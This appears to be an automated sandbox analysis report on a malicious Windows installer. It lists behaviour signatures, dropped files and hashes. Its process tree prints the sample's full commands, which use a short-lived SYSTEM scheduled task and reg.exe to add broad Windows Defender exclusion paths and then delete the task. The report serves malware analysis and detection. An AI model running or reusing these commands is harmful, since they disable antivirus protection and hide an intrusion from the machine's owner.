Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/08/2026, 08:43

General

  • Target
    install_v3.1.0.16.exe
  • Size 35.0MB
  • Sample260820-kmvrvsshne
  • SHA256 a6ee826cc8864e91dd03e01bc768449f2eba3a9952d4d4ba88776a74e1a01d2e
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install_v3.1.0.16.exe
    "C:\Users\Admin\AppData\Local\Temp\install_v3.1.0.16.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4508
  • C:\Users\Public\q3K4qQ\y18LUh.exe
    C:\Users\Public\q3K4qQ\y18LUh.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1496
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\q3K4qQ\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3332
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\q3K4qQ\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1148
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2616
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:3232
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2880
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:3036
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4864
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4304
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:1628
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:4396
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3184
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1504
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:3328
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:4880
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3820
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:620
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:3568
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1612
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:3368
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:2976
                      • C:\Users\Public\q3K4qQ\y18LUh.exe
                        "C:\Users\Public\q3K4qQ\y18LUh.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1156
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\q3K4qQ" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4580
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\q3K4qQ" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4756
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1960
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:4532
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4160
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5060
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2296

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

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                              Downloads

                              UxEnhance64.dll

                              • Path C:\Users\Public\q3K4qQ\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 c3146047b9ab397c6562bbef5dcc10b209ff69749edfe34062da443646fc6885
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\q3K4qQ\adoresd.dat
                              • Size 4.7MB
                              • SHA256 7b13022721334a6a3cb52d4fb2b0f346f0466ff6280b00a41dc30fd8003001ef
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\q3K4qQ\msadox.tb
                              • Size 8KB
                              • SHA256 83b14d2c1defe0467df4460ea3889a39bec47fe8d4ff7011bbabd31ce128972b
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              y18LUh.exe

                              • Path C:\Users\Public\q3K4qQ\y18LUh.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1156-570-0x00007FF803A70000-0x00007FF803F8E000-memory.dmp

                              memory/1156-573-0x000001EC39EA0000-0x000001EC3A727000-memory.dmp

                              memory/1156-580-0x000001EC39EA0000-0x000001EC3A727000-memory.dmp

                              memory/1156-582-0x000001EC39EA0000-0x000001EC3A727000-memory.dmp

                              memory/1156-583-0x000001EC39EA0000-0x000001EC3A727000-memory.dmp

                              memory/1156-584-0x00007FF822050000-0x00007FF822052000-memory.dmp

                              memory/1156-581-0x000001EC39EA0000-0x000001EC3A727000-memory.dmp

                              memory/1156-575-0x00007FF822060000-0x00007FF822062000-memory.dmp

                              memory/1156-576-0x000001EC39EA0000-0x000001EC3A727000-memory.dmp

                              memory/1496-539-0x0000027069C60000-0x000002706A4E7000-memory.dmp

                              memory/1496-555-0x00000270691B0000-0x00000270691FE000-memory.dmp

                              memory/1496-544-0x0000027069C60000-0x000002706A4E7000-memory.dmp

                              memory/1496-543-0x0000027069C60000-0x000002706A4E7000-memory.dmp

                              memory/1496-545-0x0000027069C60000-0x000002706A4E7000-memory.dmp

                              memory/1496-546-0x0000027069C60000-0x000002706A4E7000-memory.dmp

                              memory/1496-550-0x0000027069C60000-0x000002706A4E7000-memory.dmp

                              memory/1496-559-0x000002706A830000-0x000002706A8BA000-memory.dmp

                              memory/1496-558-0x000002706A830000-0x000002706A8BA000-memory.dmp

                              memory/1496-557-0x000002706A830000-0x000002706A8BA000-memory.dmp

                              memory/1496-556-0x000002706A830000-0x000002706A8BA000-memory.dmp

                              memory/1496-538-0x00007FF822060000-0x00007FF822062000-memory.dmp

                              memory/1496-564-0x0000027069C60000-0x000002706A4E7000-memory.dmp

                              memory/1496-565-0x0000027069C60000-0x000002706A4E7000-memory.dmp

                              memory/1496-597-0x0000027069C60000-0x000002706A4E7000-memory.dmp

                              memory/1496-530-0x00007FF822050000-0x00007FF822052000-memory.dmp

                              memory/1496-537-0x0000027069C60000-0x000002706A4E7000-memory.dmp

                              memory/1496-531-0x00007FF803A70000-0x00007FF803F8E000-memory.dmp

                              memory/4508-1-0x0000000000420000-0x000000000042E000-memory.dmp

                              memory/4508-2-0x0000000000430000-0x000000000043C000-memory.dmp

                              memory/4508-525-0x00007FF816DE0000-0x00007FF816DF0000-memory.dmp

                              memory/4508-504-0x00007FF816DE0000-0x00007FF816DF0000-memory.dmp

                              memory/4508-524-0x0000000000420000-0x000000000042E000-memory.dmp

                              memory/4508-0-0x0000000000420000-0x000000000042E000-memory.dmp